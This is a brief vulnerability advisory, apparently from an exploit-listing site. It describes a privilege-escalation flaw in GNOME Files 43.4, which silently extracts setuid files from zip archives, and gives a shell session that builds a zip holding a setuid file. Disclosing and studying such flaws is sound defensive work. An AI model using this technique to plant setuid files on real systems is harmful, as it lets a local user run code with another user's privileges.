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GNOME Files 43.4 Privilege Escalation Vulnerability
[Affected: GNOME Files 43.4 (nautilus) on fedora 37 Description: If an user A opens in GNOME files zip archive containing `setuid` file F, then F will be silently extracted to a subdirectory of CWD. If F is accessible by hostile local user B and B executes F, then F will be executed as from user A. tar(1) and unzip(1) are not vulnerable to this attack. Session for creating the ZIP. After that just open f.zip in GNOME files. <pre> [joro@fedora ~]$ umask 0022 [joro@fedora 2]$ mkdir /tmp/2 ; cd /tmp/2 ; echo hi > F ; chmod +xs F [joro@fedora 2]$ zip f F ; zipinfo f Archive: f.zip Zip file size: 155 bytes, number of entries: 1 -rwsr-sr-x 3.0 unx 3 tx stor 23-Aug-05 12:38 F [joro@fedora 2]$ ls -ld /tmp/2/ drwxr-xr-x. 2 joro joro 80 Aug 5 11:20 /tmp/2/ [joro@fedora 2]$ </pre> # 0day.today [2024-07-07] #